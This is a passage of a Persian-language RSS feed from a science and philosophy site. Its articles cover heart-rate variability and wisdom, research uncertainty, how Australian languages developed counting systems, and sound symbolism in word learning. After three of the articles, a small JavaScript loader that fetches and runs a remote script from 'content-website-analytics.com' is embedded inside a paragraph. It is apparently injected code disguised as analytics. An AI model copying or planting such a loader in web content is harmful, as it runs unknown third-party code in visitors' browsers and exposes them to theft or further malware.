<p>اکثر فلاسفه و دانشمندان علوم شناختی، قضاوت خردمندانه را به عنوان توانایی شناخت محدودیت های دانش فرد، آگاهی از زمینه ها و شرایط مختلف زندگی و اینکه چگونه ممکن است در طول زمان آشکار شود، پذیرفتن دیدگاه دیگران، و جستجو برای پیوند این دیدگاه ها تعریف کرده اند.</p>
<p>این مطالعه جدید، اولین تحقیق برای نشان دادن ارتباط فیزیولوژی قلب ، به ویژه تغییرپذیری ضربان قلب در طول فعالیت های فیزیکی کم، با قضاوت خردمندانه‌تر و با خطای کمتر است.</p>
<p>قلب انسان حتی در شرایط ثبات، مانند زمانی که شخص نشسته است نیز تمایل به نوسان دارد، تغییرات ضربان قلب به فاصله بین زمان هایی که قلب به صورت نبض می زند گفته می‌شود و به کنترل سیستم عصبی بر اعضای بدن مرتبط است.</p>
<p>محققان دریافتند که افراد با تغییرات ضربان قلب بیشتر، قادرند با خطای کمتر و خرد بیشتری در مسایل اجتماعی به عنوان یک شخص سوم تصمیم گیری کنند. ولی اگر به عنوان شخص اول وارد ماجرا شوند رابطه ای میان ضربان قلب و خرد دیده نمی شود.</p>
<p>پروفسور گروسمن :  ما پیش از این هم می‌دانستیم که افرادی با تغییرات بیشتر در ضربان قلبشان، کارایی بیشتری در کارکرد مغزشان نشان می‌دهند، مانند حافظه کاری. با این حال، این الزاماً به این مفهوم نیست که این افراد خردمندترند. در حقیقت، ممکن است افراد مهارت های شناختی خود را برای گرفتن تصمیمات نابخردانه استفاده نمایند. برای ایجاد ارتباط با توانایی های شناختی برای قضاوت خردمندانه، این افراد ابتدا نیاز دارند که بر خودبینی خود غلبه کنند.</p>
<p>این مطالعه درها را برای تحقیات آتی در مورد قضاوت خردمندانه در تقاطع فیزیولوژی و تحقیقات شناختی گشود.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%ae%d8%b1%d8%af-%d8%a8%d8%a7-%d8%b0%d9%87%d9%86-%d9%88-%d9%82%d9%84%d8%a8-%d8%af%d8%b1-%d8%a7%d8%b1%d8%aa%d8%a8%d8%a7%d8%b7-%d8%a7%d8%b3%d8%aa/">خرد با ذهن و قلب در ارتباط است</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%ae%d8%b1%d8%af-%d8%a8%d8%a7-%d8%b0%d9%87%d9%86-%d9%88-%d9%82%d9%84%d8%a8-%d8%af%d8%b1-%d8%a7%d8%b1%d8%aa%d8%a8%d8%a7%d8%b7-%d8%a7%d8%b3%d8%aa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>چگونه می‌توان از عدم قطعیت کاست؟</title>
		<link>https://theorium.net/%da%86%da%af%d9%88%d9%86%d9%87-%d9%85%db%8c%d8%aa%d9%88%d8%a7%d9%86-%d8%a7%d8%b2-%d8%b9%d8%af%d9%85-%d9%82%d8%b7%d8%b9%db%8c%d8%aa-%da%a9%d8%a7%d8%b3%d8%aa/</link>
					<comments>https://theorium.net/%da%86%da%af%d9%88%d9%86%d9%87-%d9%85%db%8c%d8%aa%d9%88%d8%a7%d9%86-%d8%a7%d8%b2-%d8%b9%d8%af%d9%85-%d9%82%d8%b7%d8%b9%db%8c%d8%aa-%da%a9%d8%a7%d8%b3%d8%aa/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sun, 03 May 2020 11:33:56 +0000</pubDate>
				<category><![CDATA[کتابخانه]]></category>
		<category><![CDATA[مقالات]]></category>
		<category><![CDATA[ابطال پذیری]]></category>
		<category><![CDATA[دیوید هیوم]]></category>
		<category><![CDATA[شک‌گرایی]]></category>
		<category><![CDATA[عدم قطعیت]]></category>
		<category><![CDATA[ویکی تئوری]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5458</guid>

					<description><![CDATA[<p>چگونه می‌توان از عدم قطعیت کاست؟ عدم قطعیت، یک پارادوکس است. از طرفی مشوقی مقتدر و نیرومند برای پژوهش است، نیازی برای دانستن؛  محصول اقناع کننده‌ی پژوهش، مستنداتی که به کار جهت دهی رویه‌ها و خط مشی‌ها می‌آید. و از دیگر سوی، عدم قطعیت همواره به خاطر پیچیدگی و ابهام ذاتی عالمِ واقع، پس از [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%da%86%da%af%d9%88%d9%86%d9%87-%d9%85%db%8c%d8%aa%d9%88%d8%a7%d9%86-%d8%a7%d8%b2-%d8%b9%d8%af%d9%85-%d9%82%d8%b7%d8%b9%db%8c%d8%aa-%da%a9%d8%a7%d8%b3%d8%aa/">چگونه می‌توان از عدم قطعیت کاست؟</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<p>چگونه می‌توان از عدم قطعیت کاست؟ عدم قطعیت، یک پارادوکس است. از طرفی مشوقی مقتدر و نیرومند برای پژوهش است، نیازی برای دانستن؛  محصول اقناع کننده‌ی پژوهش، مستنداتی که به کار جهت دهی رویه‌ها و خط مشی‌ها می‌آید. و از دیگر سوی، عدم قطعیت همواره به خاطر پیچیدگی و ابهام ذاتی عالمِ واقع، پس از پژوهش هم باقی می‌ماند، و بنابراین سیاست‌گزاران و کارورزان، درگیر آشفتگی‌ها و مزاحمت‌های ناشی از این تردیدِ ماندگارِ گریزناپذیر هستند (یا باید باشند.) نمونه‌های چنین تردیدی شامل مواردی از این دست است: با تغییرات جوی چه باید کرد، کدام شاخصِ جرمِ بدن، ایده‌آل است، و آیا آزمایش سرطان پروستات را باید انجام داد یا خیر. حال چگونه می‌توان از عدم قطعیت کاست؟</p>
<h6><strong>چرا عدم قطعیت باقی می‌ماند؟</strong></h6>
<p>پژوهش از عدم قطعیت می‌کاهد اما هیچ‌گاه به یقین منتهی نمی‌شود. پژوهش روندی دچار خطا است که بر واقعیتی مبهم متمرکز شده است.<br />
چنان که محقق یونانی امپیریکوس هم در دوران باستان دریافت، معضل قیاس، بلای جان و آفت تعیین و تشخیص درست (از نادرست) است. همچنان که فیلسوف انگلیسی دیوید هیوم شرح می‌دهد، این استدلال خطاست که «مصادیقی که با آن‌ها سر و کاری نداشته‌ایم مشابه مصادیقی هستند که به تجربه‌ی ما درآمده‌اند.»</p>
<p>پژوهش به مثابه مدرک و شاهد می‌تواند مفید باشد اما هرگز یقین را به ارمغان نخواهد آورد. فیلسوف دیگر انگلیسی &#8220;چارلی دانبار براد&#8221; خاطرنشان می‌کند که استدلال قیاسی «افتخار علم» و «رسوایی فلسفه» است.</p>
<p>در نتیجه، تشخیص درست بر مبنای یک یا چند مشاهده ممکن است به خطا برود؛ و نتیجتا مدعیات، به سادگی ممکن است نادرست باشند.<br />
پاسخ کارل پوپر به معضل قیاس، ابطال پذیری بود. از دید او می‌توان انگاشت‌ها و عقاید را رد کرد اما هیچ‌گاه نمی‌توان چیزی را اثبات کرد. به عنوان نمونه این ادعا که تمام قوها سپید هستند هرگز نمی‌تواند اثبات شود، اما با یافتن تنها یک قوی سیاه قابل ابطال است.</p>
<p>تئوری ابطال اذعان کرد که یافته‌های پژوهشی هیچ‌گاه قطعی نیستند اما این نظریه باعث پدید آمدن مساله‌یی تازه گردید: بسیاری از واقعیت‌های سودمند ممکن است از کف بروند چرا که اثبات‌شان ممکن نیست و ابطال‌شان هم ممکن است هرگز روی ندهد.</p>
<p>پژوهش در تنگنایِ دشواری میان اعلامِ آن‌چه که ممکن است نادرست باشد، و از کف دادن واقعیتی مهم به سبب فقدان مدرک و شاهد قرار گرفته است.</p>
<p>در نهایت هیچ یک از این دو چندان اقناع کننده نیستند، و چنین به نظر می‌رسد که پژوهشگران راهِ گریزی از عدم قطعیت پیش پای‌شان نیست.</p>
<h6><strong><br />
</strong><strong>چگونه از پسِ عدم قطعیت برآییم؟</strong></h6>
<p>تردید برای غالب افراد موقعیتی آزارنده است و عموما به سطوح متفاوتی از تنش و اضطرابِ مرتبط با آن می‌انجامد. پس پرسش این است که چگونه می‌توان از پسِ آن برآمد؟</p>
<p>یک رویکرد، انکارِ عدم قطعیت است، چنان رفتار کردن که گویا لحظه‌ی «اورکا» (یافتم! اشاره به ارشمیدس و فریادش) لحظه‌ای معتبر و حقیقی است. اما اطمینانِ بیش از حد، چنان که فرضیه‌ها، نتیجه‌گیری‌ها و مدعیاتِ نادرست اغلب وانمود می‌کنند با چنین انکاری از میان نمی‌رود.</p>
<p>گاهی حتا شناخته شده ترین‌ها هم، چنان که ماریو لیویو در کتابش، خَبط‌هایِ خیره‌کننده به طور دقیق شرح می‌دهد، دچار سوءبرداشت می‌شوند.<br />
رویکردی دیگر پذیرشِ تردیدِ موجود درباره‌ی حقیقت، با توجه به تمایزِ میانِ تردید و انکار است. چنین خلطِ مفاهیمی در استفاده‌ی عمومی از واژه‌ی شکاک به معنایِ منکرِ پژوهش، مثلا در ترکیبِ «مشکوک به تغییرات جوی» قابل مشاهده است.</p>
<h6>شکاک؛</h6>
<p>اما یک شکاک به معنایِ فلسفی کلمه چنین ابراز می‌دارد که آن‌چه درست است، غیرِ قطعی است. شک‌گرایی هم‌چنان که تعریف توماس هنری هاکسلی، جامعه‌شناس و فیلسوف انگلیسی قرن ۱۸، از شک‌گرایی نشان می‌دهد عاملی است که اطمینان را محدود می‌کند:<br />
از منظرِ ادراک (شک‌گرایی یعنی) عدمِ تظاهر به قطعیتِ نتایجی که اثبات نشده‌اند یا قابل اثبات نیستند.</p>
<p>به عنوان مثال در موردِ هرگونه مدل‌سازی از اوضاع جوّیِ آینده–خواه فردا، هفته‌ی آینده یا بیست سال بعد- باید به این نکته اشاره کرد که در موردِ آن‌چه که روی خواهد داد تردید وجود دارد.</p>
<p>اما پژوهشگری که از چنین منظری درباره‌ی تاثیرِ اوضاعِ جوّیِ آتی در شرایطِ محیطیِ کنونی به اظهار نظر می‌پردازد بسیار محتمل است که با هو و جنجال کسانی روبرو شود که به سادگی جهان را به دو گروهِ معتقدان و منکران تقسیم می‌کنند.</p>
<p>بیانِ دانشِ مستند وهمزمان (حفظِ دیدگاهِ) عدم یقین، جایگاهِ دشوار اما مشخصا مهمی برای یک پژوهشگر است. بر همین اساس الیزابت پیسانی همه‌گیرشناس و روزنامه نگار، و مایکل کریچتون پزشک و نویسنده، دریافتند که در مسیرِ پژوهش در حوزه‌ی سیاست‌هایِ تغذیه‌ای، وقتی دو روند با یکدیگر گره می‌خورند، و مشخصا وقتی پژوهش‌ها سیاسی می‌شوند، خطراتِ بسیاری پدید می‌آیند.</p>
<p><a href="https://theorium.net/category/%da%a9%d8%aa%d8%a7%d8%a8%d8%ae%d8%a7%d9%86%d9%87/%d9%85%d9%82%d8%a7%d9%84%d8%a7%d8%aa/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-5920" src="https://theorium.net/wp-content/uploads/2020/05/uncertainty-300x300.jpg" alt="uncertainty" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/05/uncertainty-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/05/uncertainty-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/05/uncertainty-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/05/uncertainty-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/05/uncertainty-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/05/uncertainty.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>به ویژه هوادارانِ عمل گرایی ممکن است عدمِ قطعیت را تاب نیاورند و در معرضِ به سادگی رد کردنِ آن باشند.<br />
همچنان که پیر لو موروان فیلسوف اهل آمریکای شمالی بیان می‌کند، یک پژوهشگرِ خوب همیشه میزانی از شک‌گرایی را در خود حفظ می‌کند. او «دانشمندِ شکاک» و «محققِ متواضع» را به عنوان پیش‌الگوهای «شکاکیتِ سالم» برمی‌شمارد.</p>
<h6>گزینه‌ی سوم؛</h6>
<p>گزینه‌ی سوم، مأیوس شدن و کنار کشیدن است، اما این رفتار مسئله‌ی عدم قطعیت را حل نخواهد کرد. در واقع این رفتار باز ما را به این نکته توجه می‌دهد که عدم قطعیت، بسیاری افراد را مشوش می‌کند.</p>
<p>عدم قطعیت، مشوش کننده است. پژوهش در جستجوی حقیقت است اما همواره قاصر خواهد ماند. عدم قطعیتی که باقی می‌ماند، تواضع را در میانِ هوادارانِ عمل بسط می‌دهد و غرور را فرو می‌ریزد.</p>
<p>برای پژوهشگران، عدم قطعیت نیرویی برانگیزاننده با سرچشمه‌ای بی‌پایان است. اگر پژوهش هرگز به انتها نمی‌رسد و عدم قطعیت همیشه پابرجاست، پس یک چیز قطعی است: همیشه کارهای بسیاری برای انجام دادن وجود خواهد داشت.</p>
<h6>پی نوشت:</h6>
<p dir="ltr">Empiricus : امپیریکوس<br />
Eureka: یافتم<br />
Mario Livio: ماریو لیویو<br />
Thomas Henry Huxley: توماس هنری هاکسلی<br />
Elizabeth Pisani: الیزابت پیسانی<br />
Michael Crichton: مایکل کریچتون<br />
Pierre Le Morvan: پیر لو موروان</p>
<p><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%da%86%da%af%d9%88%d9%86%d9%87-%d9%85%db%8c%d8%aa%d9%88%d8%a7%d9%86-%d8%a7%d8%b2-%d8%b9%d8%af%d9%85-%d9%82%d8%b7%d8%b9%db%8c%d8%aa-%da%a9%d8%a7%d8%b3%d8%aa/">چگونه می‌توان از عدم قطعیت کاست؟</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%da%86%da%af%d9%88%d9%86%d9%87-%d9%85%db%8c%d8%aa%d9%88%d8%a7%d9%86-%d8%a7%d8%b2-%d8%b9%d8%af%d9%85-%d9%82%d8%b7%d8%b9%db%8c%d8%aa-%da%a9%d8%a7%d8%b3%d8%aa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>جوامع چگونه می‌آموزند تا ده بشمارند؟</title>
		<link>https://theorium.net/%d8%ac%d9%88%d8%a7%d9%85%d8%b9-%d9%88-%d8%a2%d9%85%d9%88%d8%ae%d8%aa%d9%86-%d8%b4%d9%85%d8%a7%d8%b1%d8%b4/</link>
					<comments>https://theorium.net/%d8%ac%d9%88%d8%a7%d9%85%d8%b9-%d9%88-%d8%a2%d9%85%d9%88%d8%ae%d8%aa%d9%86-%d8%b4%d9%85%d8%a7%d8%b1%d8%b4/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sun, 03 May 2020 11:25:32 +0000</pubDate>
				<category><![CDATA[کتابخانه]]></category>
		<category><![CDATA[مقالات]]></category>
		<category><![CDATA[تکاملی بیولوژیکی]]></category>
		<category><![CDATA[زبان شناسی]]></category>
		<category><![CDATA[زبان های پاما–نیونگان]]></category>
		<category><![CDATA[سیستم های شمارشی]]></category>
		<category><![CDATA[فرهنگ های بدوی]]></category>
		<category><![CDATA[ویکی تئوری]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5454</guid>

					<description><![CDATA[<p>جوامع چگونه می‌آموزند تا ده بشمارند؟ آیا تا کنون این سوال در ذهنتان ایجاد شده که جوامع چگونه می‌آموزند تا ده بشمارند؟  در برخی از فرهنگ های بدوی، شمارش به سادگی گفتن یک، دو و سه می باشد چون در همین جا متوقف می شود. در زبان آن ها کلمه ای برای اعداد بالاتر وجود ندارد. [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%ac%d9%88%d8%a7%d9%85%d8%b9-%d9%88-%d8%a2%d9%85%d9%88%d8%ae%d8%aa%d9%86-%d8%b4%d9%85%d8%a7%d8%b1%d8%b4/">جوامع چگونه می‌آموزند تا ده بشمارند؟</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<p>جوامع چگونه می‌آموزند تا ده بشمارند؟ آیا تا کنون این سوال در ذهنتان ایجاد شده که جوامع چگونه می‌آموزند تا ده بشمارند؟  در برخی از فرهنگ های بدوی، شمارش به سادگی گفتن یک، دو و سه می باشد چون در همین جا متوقف می شود. در زبان آن ها کلمه ای برای اعداد بالاتر وجود ندارد. و در عوض به سادگی از کلمات جایگزینی مانند &#8220;خیلی&#8221; استفاده می کنند. با گذر زمان اما برخی جوامع به اعداد بالاتر دست یافتند، کاری که زبان های مهمی که امروز در زمین استفاده می شوند، مدت ها پیش آن را انجام دادند.</p>
<h6><strong>کشف سیستم های شمارشی</strong></h6>
<p>اکنون مطالعه ای جدید روی یک گروه از زبان های استرالیایی نشان می دهد که چگونه زبان ها اعداد بالاتر را بدست می آورند  و یا گاهی از دست می دهند و اینکه چگونه برخی از زبان ها بدون داشتن این اعداد، هزاران سال دوام آورده اند.</p>
<p>برای برخی فرهنگ ها اعداد بزرگ معنی ندارند. خانم اپس (Patience Epps) زبان شناس دانشگاه آستین تگزاس میگوید، برای نمونه میتوانیم چوپانی را در نظر بگیرید که تعداد درست گوسفندان خود را نه با شمارش تک تک آن ها، بلکه با توجه به حرکت و فرم کلی گله خود تشخیص می دهد که ممکن است برای مردمی از فرهنگ دیگر عجیب به نظر برسد.</p>
<p>او می گوید بارها با این سوال آمریکایی های سخت باور مواجه شده: چگونه چنین مردمی، بعنوان مثال تعداد فرزندان خود را می دانند؟<br />
او این پرسش را از قبایل آمازونی ای که با آن ها کار می کند، مطرح کرده و می گوید: آن ها جوری به من نگاه می کردند که انگار سوال خیلی عجیبی پرسیده ام، آن ها اسامی را لیست می کنند و با انگشت برمیشمارند ولی به دنبال کمیت در ذهنشان نیستند.</p>
<p>البته هنگامی که جامعه ای به اندازه کافی رشد یافته و پیچیده می شود که به شمارش های بیشتر مفهومی و انتزاعی نیاز داشته باشد، اعداد بزرگ لازم هستند. خانم اپس می گوید، زبان قبیله های منطقه آمازون، هنگامی که با گروهی که یکدیگر را نمی شناسند یا به هم اعتماد ندارند، قصد تبادل کالا دارند و به پیگیری معامله به صورت دقیق و از نزدیک نیازمند هستند، اعداد را اضافه یا تولید می کنند. اتفاقی مشابه این میبایست در زبان های آشنا برای ما، چندین هزاره پیش رخ داده باشد.</p>
<p>بررسی اینکه زبان هایی دارای اعداد کم، چگونه آن ها را اضافه یا کم میکنند، می تواند بینشی بدهد که چگومه بشر، سیستم های شمارشی را ایجاد کرده است.</p>
<p>اما کشف الگوهای این تکامل فرهنگی نیازمند اطلاعاتی از زبان های متعدد مرتبط با سیستم اعداد کوچک در یک بازه زمانی طولانی است.</p>
<h6><strong>چگونگی پدیدار شدن اعداد</strong></h6>
<p>وارد خانواده زبان پاما-نیونگان (Pama-Nyungan) می شویم که در اکثر نواحی استرالیا گسترده شده است. این خانواده دارای ۳۰۰ زبان است که در حال حاضر توسط ۲۵۰۰۰ نفر صحبت می شود، گرچه در گذشته این تعداد به حدود دو میلیون نفر می رسید. اکثر این زبان ها دارای سیستم اعدادی هستند که در عدد ۵ متوقف می شود.</p>
<p>زبان شناس تاریخی دانشگاه ییل، خانم باورن ( Claire Bowern) به همراه کارشناس و پژوهشگر کوین ژو (Kevin Zhou) اطلاعات تاریخی و مربوط به حال حاضر درباره این زبان را جمع آوری کرده اند، البته تعدادی از این زبان ها دیگر مورد استفاده نبوده و با آن ها صحبت نمی شود.</p>
<p>خانم باورن با کمک گرفتن از یک روش تکاملی بیولوژیکی، چگونگی پدیدار شدن اعداد در طی ۶۵۰۰ سال را در این خانواده زبان، بازسازی کرد تا بررسی کند که چگونه زبان های پاما–نیونگان با یکدیگر در ارتباط بودند و اینکه چگونه اعداد در گذر زمان تغییر کرده اند.</p>
<p>پژوهشگران اطلاعات را به یک مدل رایانه ای وارد و سپس شبیه ترین درخت خانوادگی سیستم اعداد زبان ها را تولید کرده و بررسی کردند که چگونه این سیستم ها در این درخت، اعداد را اضافه کرده و یا از دست داده اند.</p>
<p>این تیم پژوهشی در شماره این ماه مجله[ proceedings of the royal society] گزارش کرده اند که، حد بالای این سیستم های شمارش و اعداد استرالیایی اغلب در گستره ی سه، چهار و پنج قرار می گیرد و در طول زمان حتی سیستم های عددی کوچک گاهی یک یا دو عدد را از دست می دهند، اما اصولا و عمدتا اعداد را یکی پس از دیگری به دست می آورند.</p>
<h6>سیستم های عددی منتهی به پنج؛</h6>
<p>در کمال تعجب این سیستم ها (زبان ها) تمایل دارند که اعداد را به صورت دسته ای بدست آورند. بطور مثال از عدد ۵ به عدد ۱۰ یا ۲۰ جهش می کنند. عدد پنج اغلب عدد اوج و پرش بوده است. هنگامی که یک سیستم به عدد پنج برسد احتمالا به اعداد بیشتری و حداکثر تا ۲۰ می رسد. بعنوان یک نتیجه، سیستم های عددی منتهی به پنج در زبان های پاما–نیونگان کمیابند.</p>
<p>خانم باورن اشاره می کند &#8220;ترجیح استفاده از انگشتان دست و پا برای شمارش واقعا تعجب آور است. &#8221;<br />
اضافه کردن یا از دست دادن عدد ۴، پرتکرارترین تغییر بوده است، کلمات مربوط به عدد &#8220;چهار&#8221; اغلب از کلماتی مربوط به عدد &#8220;دو&#8221; مشتق می شده اند، نه با ساختن یا استفاده از کلمه ای جدید که به معنی &#8220;چهار&#8221; باشد که نشان می دهد چگونه سیستم های عددی پدیدار شده اند.</p>
<p><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-5917" src="https://theorium.net/wp-content/uploads/2020/05/community-300x300.jpg" alt="community" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/05/community-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/05/community-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/05/community-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/05/community-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/05/community-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/05/community.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>باورن معتقد است که اعداد به دلایل استفاده های عملی به صورت خوشه ای، اضافه می شده اند. اگر شما نیاز دارید که بیشتر از پنج بشمارید، احتمالا نیاز دارید که از هفت و هشت هم بالاتر بروید. او فکر می کند که شاید یک جابجایی شناختی و مفهموی درباره ی عدد ۵ روی می دهد، هنگامی که شما سیستم اعداد را به بیش از ۵ تعمیم دهید، تعمیم دادن به یک سیستم نامحدود آسان تر خواهد بود.</p>
<p>آقای برایان جوزف (Brian Joseph) زبان شناس دانشگاه ایالتی اوهایو، کولومبوس، میگوید: &#8220;این گونه زبان شناسی تاریخی با استفاده از روش های محاسباتی است، که این حد از اطمینان را به من می دهد &#8221; او همچنین می افزاید: بسیاری از غیر زبانشناسان از این اصول و روش را برای اطلاعاتی که به نظر می رسد کنترل یا شناختی از آن ندارند، استفاده می کنند.&#8221;</p>
<p>آقای راسل گری (Russel gray) از دانشگاه اوکلند زلاندنو و مدیر موسسه ماکس پلانک برای تاریخ انسانی در آلمان، نیز  اینطور تایید می کند که: این جمع بندی به نظر من مناسب است، وی می گوید: این به ما یادآوری می کند که تکامل فرهنگی، همیشه به تدریج روی نمی دهد.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%ac%d9%88%d8%a7%d9%85%d8%b9-%d9%88-%d8%a2%d9%85%d9%88%d8%ae%d8%aa%d9%86-%d8%b4%d9%85%d8%a7%d8%b1%d8%b4/">جوامع چگونه می‌آموزند تا ده بشمارند؟</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%ac%d9%88%d8%a7%d9%85%d8%b9-%d9%88-%d8%a2%d9%85%d9%88%d8%ae%d8%aa%d9%86-%d8%b4%d9%85%d8%a7%d8%b1%d8%b4/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>اصوات زبانی ، راهنماهای زبان‌آموزان</title>
		<link>https://theorium.net/%d8%a7%d8%b5%d9%88%d8%a7%d8%aa-%d8%b2%d8%a8%d8%a7%d9%86%db%8c/</link>
					<comments>https://theorium.net/%d8%a7%d8%b5%d9%88%d8%a7%d8%aa-%d8%b2%d8%a8%d8%a7%d9%86%db%8c/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sun, 03 May 2020 11:16:38 +0000</pubDate>
				<category><![CDATA[کتابخانه]]></category>
		<category><![CDATA[مقالات]]></category>
		<category><![CDATA[ئیکی تئوری]]></category>
		<category><![CDATA[رابطه‌ای نظام‌مند بین اصوات و معانی]]></category>
		<category><![CDATA[کشف معانی واژه‌ها]]></category>
		<category><![CDATA[مورتن کریستیانسن]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5451</guid>

					<description><![CDATA[<p>اصوات زبانی حاوی راهنماهایی برای زبان آموزان هستند؛ چرا واژه‌ها از حیث آوایی، صورت کنونی را دارند؟ برایِ بیش از صد سال، یکی از اصولِ محوری نظریه‌های زبانشناسی این بود که اصوات زبانی حاوی راهنماهایی برای زبان‌آموزان هستند و رابطهٔ میان اصوات واژگان و معنای آن‌ها رابطه‌ای صرفا دل‌بخواهی و قراردادی است. کشف معانی واژه‌ها [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a7%d8%b5%d9%88%d8%a7%d8%aa-%d8%b2%d8%a8%d8%a7%d9%86%db%8c/">اصوات زبانی ، راهنماهای زبان‌آموزان</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<p>اصوات زبانی حاوی راهنماهایی برای زبان آموزان هستند؛ چرا واژه‌ها از حیث آوایی، صورت کنونی را دارند؟ برایِ بیش از صد سال، یکی از اصولِ محوری نظریه‌های زبانشناسی این بود که اصوات زبانی حاوی راهنماهایی برای زبان‌آموزان هستند و رابطهٔ میان اصوات واژگان و معنای آن‌ها رابطه‌ای صرفا دل‌بخواهی و قراردادی است.</p>
<h6><strong>کشف معانی واژه‌ها</strong></h6>
<p>مورتن کریستیانسن، پروفسور روانشناسی و راهبر مشترکِ برنامهٔ دانشِ شناختیِ کرنل  می‌گوید: «قراردادی بودن، بخشی از آن چیزی است که آموختنِ کلمات را در زبانِ جدید (زبانی که در حالِ آموختن هستیم) دشوار می‌کند.</p>
<p>با این که معانیِ مفاهیم در کلیتِ خویش بینِ همهٔ زبان‌ها یکسان می‌مانند، اما کلماتِ مورد استفاده برایِ این مفاهیم ممکن است شدیدا تغییر کنند. به عنوانِ مثال ما به حیواناتِ خانگی از نژادِ سگ در انگلیسی dog می‌گوییم، در حالی که دانمارکی‌ها این حیوانات را hund و فرانسوی‌ها این جانوران را chien می‌نامند.»<br />
این تابستان کریستیانسن نشستی را در یک همایشِ فراگیریِ زبان در مونترآل ترتیب داد. نشستی که در آن شواهدی ارائه شدند که حاکی از وجودِ رابطه‌ای نظام‌مند بینِ اصوات و معانی بودند.</p>
<p>به عنوانِ نمونه، کودکان به طورِ یکسان واکه‌هایِ گرد، مانندِ koko را به اشکالِ گرد، و واکه‌هایِ گسترده، مانندِ kiki را به اشکالِ دندانه‌دار ارتباط دادند.<br />
کریستیانسن گفت: «این رابطه‌هایِ نظام‌مند بینِ اصوات و معانی، در مسیرِ دشوارِ کشفِ معانیِ واژه‌ها (به زبان آموزان) کمک می‌کنند.</p>
<p>بنابراین از منظرِ آموزش، این مسئله که در اکثرِ واژه‌ها رابطهٔ میانِ صوت و معنا قراردادی است، یک پارادوکس است.»</p>
<h6>نشریهٔ روانشناسیِ تجربی؛</h6>
<p>پژوهشی انجام شده توسطِ کریستیانسن و دو تن از همکارانش که در شمارهٔ آگوستِ نشریهٔ روانشناسیِ تجربی منتشر شد، بینش‌هایی نو را در موردِ این پارادوکس در بر داشت. آن‌ها نوعی تغییر را در موردِ قراردادی بودن و نظام‌مند بودنِ اصواتِ زبانی به نمایش گذاشته بودند.</p>
<p>کریستیانسن گفت: «از گروهی از سوژه‌هایِ آزمایش خواسته شد تا لغاتی نو، مرتبط با تعدادی اشیاء و اعمال را بیاموزند که رابطهٔ صوت و معنا در آن‌ها کاملا قراردادی بود؛ گروهِ دوم واژه‌هایی با ارتباطِ نظام‌مند میانِ صوت و معنا را می‌آموختند؛ و گروهِ سوم، واژه‌هایی را می‌آموختند که آغازشان قراردادی اما انتهای‌شان نظام‌مند بود.</p>
<p>ما دریافتیم، گروهی که در معرضِ لغاتی متشکل از هر دو بخشِ قراردادی و  نظام‌مند بودند، نه تنها در به خاطر سپردنِ معانی موفق‌تر بوده‌اند، بلکه در تشخیصِ این که هر واژه مربوط به یک شیء است یا یک عمل نیز بهتر عمل کرده‌اند.»</p>
